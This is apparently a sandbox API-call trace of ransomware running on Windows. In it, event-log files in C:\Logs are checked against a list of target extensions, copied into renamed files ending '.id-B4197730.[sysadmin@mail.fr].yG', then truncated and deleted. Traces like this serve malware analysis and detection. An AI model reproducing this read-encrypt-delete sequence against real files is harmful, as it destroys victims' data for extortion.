	[0050.160] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.160] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.160] lstrlenW (lpString=".jpg") returned 4
	[0050.160] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.161] lstrlenW (lpString=".doc") returned 4
	[0050.161] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.161] lstrlenW (lpString=".docx") returned 5
	[0050.161] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.161] lstrlenW (lpString=".pdf") returned 4
	[0050.161] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.161] lstrlenW (lpString=".xls") returned 4
	[0050.161] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.161] lstrlenW (lpString=".xlsx") returned 5
	[0050.161] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.161] lstrlenW (lpString=".ppt") returned 4
	[0050.161] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.161] lstrlenW (lpString=".zip") returned 4
	[0050.161] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.161] lstrlenW (lpString=".rar") returned 4
	[0050.161] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.161] lstrlenW (lpString=".bz2") returned 4
	[0050.161] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.161] lstrlenW (lpString=".7z") returned 3
	[0050.161] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.161] lstrlenW (lpString=".dbf") returned 4
	[0050.161] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.161] lstrlenW (lpString=".1cd") returned 4
	[0050.161] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.161] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0050.161] lstrlenW (lpString=".jpg") returned 4
	[0050.161] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.162] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.162] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51
	[0050.162] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.162] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0050.162] CloseHandle (hObject=0x2ec) returned 1
	[0050.162] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20
	[0050.162] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.162] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.162] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.162] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.162] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.163] GetLastError () returned 0x0
	[0050.163] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.227] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.229] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.229] WriteFile (in: hFile=0x34c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x13a, lpOverlapped=0x0) returned 1
	[0050.229] SetEndOfFile (hFile=0x34c) returned 1
	[0050.229] CloseHandle (hObject=0x34c) returned 1
	[0050.231] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.231] SetEndOfFile (hFile=0x2ec) returned 1
	[0050.232] CloseHandle (hObject=0x2ec) returned 1
	[0050.232] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.232] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1
	[0050.232] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.232] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.232] lstrlenW (lpString=".doc") returned 4
	[0050.232] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.232] lstrlenW (lpString=".docx") returned 5
	[0050.232] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.233] lstrlenW (lpString=".pdf") returned 4
	[0050.233] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.233] lstrlenW (lpString=".xls") returned 4
	[0050.233] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.233] lstrlenW (lpString=".xlsx") returned 5
	[0050.233] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.233] lstrlenW (lpString=".ppt") returned 4
	[0050.233] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.233] lstrlenW (lpString=".zip") returned 4
	[0050.233] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.233] lstrlenW (lpString=".rar") returned 4
	[0050.233] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.233] lstrlenW (lpString=".bz2") returned 4
	[0050.233] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.233] lstrlenW (lpString=".7z") returned 3
	[0050.233] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.233] lstrlenW (lpString=".dbf") returned 4
	[0050.233] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.233] lstrlenW (lpString=".1cd") returned 4
	[0050.233] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.233] lstrlenW (lpString=".jpg") returned 4
	[0050.233] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.233] lstrlenW (lpString=".doc") returned 4
	[0050.233] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.233] lstrlenW (lpString=".docx") returned 5
	[0050.233] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.233] lstrlenW (lpString=".pdf") returned 4
	[0050.234] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.234] lstrlenW (lpString=".xls") returned 4
	[0050.234] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.234] lstrlenW (lpString=".xlsx") returned 5
	[0050.234] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.234] lstrlenW (lpString=".ppt") returned 4
	[0050.234] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.234] lstrlenW (lpString=".zip") returned 4
	[0050.234] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.234] lstrlenW (lpString=".rar") returned 4
	[0050.234] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.234] lstrlenW (lpString=".bz2") returned 4
	[0050.234] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.234] lstrlenW (lpString=".7z") returned 3
	[0050.234] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.234] lstrlenW (lpString=".dbf") returned 4
	[0050.234] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.234] lstrlenW (lpString=".1cd") returned 4
	[0050.234] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59
	[0050.234] lstrlenW (lpString=".jpg") returned 4
	[0050.234] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.235] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.235] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47
	[0050.235] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.251] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0050.251] CloseHandle (hObject=0x388) returned 1
	[0050.252] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20
	[0050.252] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.252] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.252] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.252] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.252] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0050.252] GetLastError () returned 0x0
	[0050.253] ReadFile (in: hFile=0x388, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.441] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.442] ReadFile (in: hFile=0x388, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.442] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x132, lpOverlapped=0x0) returned 1
	[0050.442] SetEndOfFile (hFile=0x348) returned 1
	[0050.442] CloseHandle (hObject=0x348) returned 1
	[0050.444] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.444] SetEndOfFile (hFile=0x388) returned 1
	[0050.445] CloseHandle (hObject=0x388) returned 1
	[0050.445] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.445] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1
	[0050.445] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.446] lstrlenW (lpString=".doc") returned 4
	[0050.446] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.446] lstrlenW (lpString=".docx") returned 5
	[0050.446] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.446] lstrlenW (lpString=".pdf") returned 4
	[0050.446] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.446] lstrlenW (lpString=".xls") returned 4
	[0050.446] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.446] lstrlenW (lpString=".xlsx") returned 5
	[0050.446] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.446] lstrlenW (lpString=".ppt") returned 4
	[0050.446] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.446] lstrlenW (lpString=".zip") returned 4
	[0050.446] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.446] lstrlenW (lpString=".rar") returned 4
	[0050.446] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.446] lstrlenW (lpString=".bz2") returned 4
	[0050.446] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.446] lstrlenW (lpString=".7z") returned 3
	[0050.446] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.446] lstrlenW (lpString=".dbf") returned 4
	[0050.446] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.446] lstrlenW (lpString=".1cd") returned 4
	[0050.446] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.446] lstrlenW (lpString=".jpg") returned 4
	[0050.446] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.446] lstrlenW (lpString=".doc") returned 4
	[0050.446] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.446] lstrlenW (lpString=".docx") returned 5
	[0050.446] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.447] lstrlenW (lpString=".pdf") returned 4
	[0050.447] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.447] lstrlenW (lpString=".xls") returned 4
	[0050.447] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.447] lstrlenW (lpString=".xlsx") returned 5
	[0050.447] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.447] lstrlenW (lpString=".ppt") returned 4
	[0050.447] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.447] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.447] lstrlenW (lpString=".zip") returned 4
	[0050.447] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.447] lstrlenW (lpString=".rar") returned 4
	[0050.447] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.447] lstrlenW (lpString=".bz2") returned 4
	[0050.447] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.447] lstrlenW (lpString=".7z") returned 3
	[0050.447] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.447] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.447] lstrlenW (lpString=".dbf") returned 4
	[0050.447] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.447] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.447] lstrlenW (lpString=".1cd") returned 4
	[0050.447] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.447] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55
	[0050.447] lstrlenW (lpString=".jpg") returned 4
	[0050.447] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.447] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.447] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39
	[0050.447] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.448] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0050.448] CloseHandle (hObject=0x388) returned 1
	[0050.448] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20
	[0050.448] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.448] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.448] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.448] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.448] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0050.451] GetLastError () returned 0x0
	[0050.451] ReadFile (in: hFile=0x388, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.659] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.661] ReadFile (in: hFile=0x388, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.661] WriteFile (in: hFile=0x348, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x122, lpOverlapped=0x0) returned 1
	[0050.661] SetEndOfFile (hFile=0x348) returned 1
	[0050.661] CloseHandle (hObject=0x348) returned 1
	[0050.663] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.663] SetEndOfFile (hFile=0x388) returned 1
	[0050.715] CloseHandle (hObject=0x388) returned 1
	[0050.718] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.719] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1
	[0050.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.720] lstrlenW (lpString=".doc") returned 4
	[0050.720] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.720] lstrlenW (lpString=".docx") returned 5
	[0050.720] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.720] lstrlenW (lpString=".pdf") returned 4
	[0050.720] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.720] lstrlenW (lpString=".xls") returned 4
	[0050.720] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.720] lstrlenW (lpString=".xlsx") returned 5
	[0050.720] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.720] lstrlenW (lpString=".ppt") returned 4
	[0050.720] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.720] lstrlenW (lpString=".zip") returned 4
	[0050.720] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.720] lstrlenW (lpString=".rar") returned 4
	[0050.720] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.720] lstrlenW (lpString=".bz2") returned 4
	[0050.720] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.720] lstrlenW (lpString=".7z") returned 3
	[0050.720] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.720] lstrlenW (lpString=".dbf") returned 4
	[0050.720] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.720] lstrlenW (lpString=".1cd") returned 4
	[0050.720] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.720] lstrlenW (lpString=".jpg") returned 4
	[0050.720] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0050.721] lstrlenW (lpString=".doc") returned 4
	[0050.721] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.721] lstrlenW (lpString=".docx") returned 5
	[0050.721] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.721] lstrlenW (lpString=".pdf") returned 4
	[0050.721] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.721] lstrlenW (lpString=".xls") returned 4
	[0050.721] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.721] lstrlenW (lpString=".xlsx") returned 5
	[0050.721] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.721] lstrlenW (lpString=".ppt") returned 4
	[0050.721] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
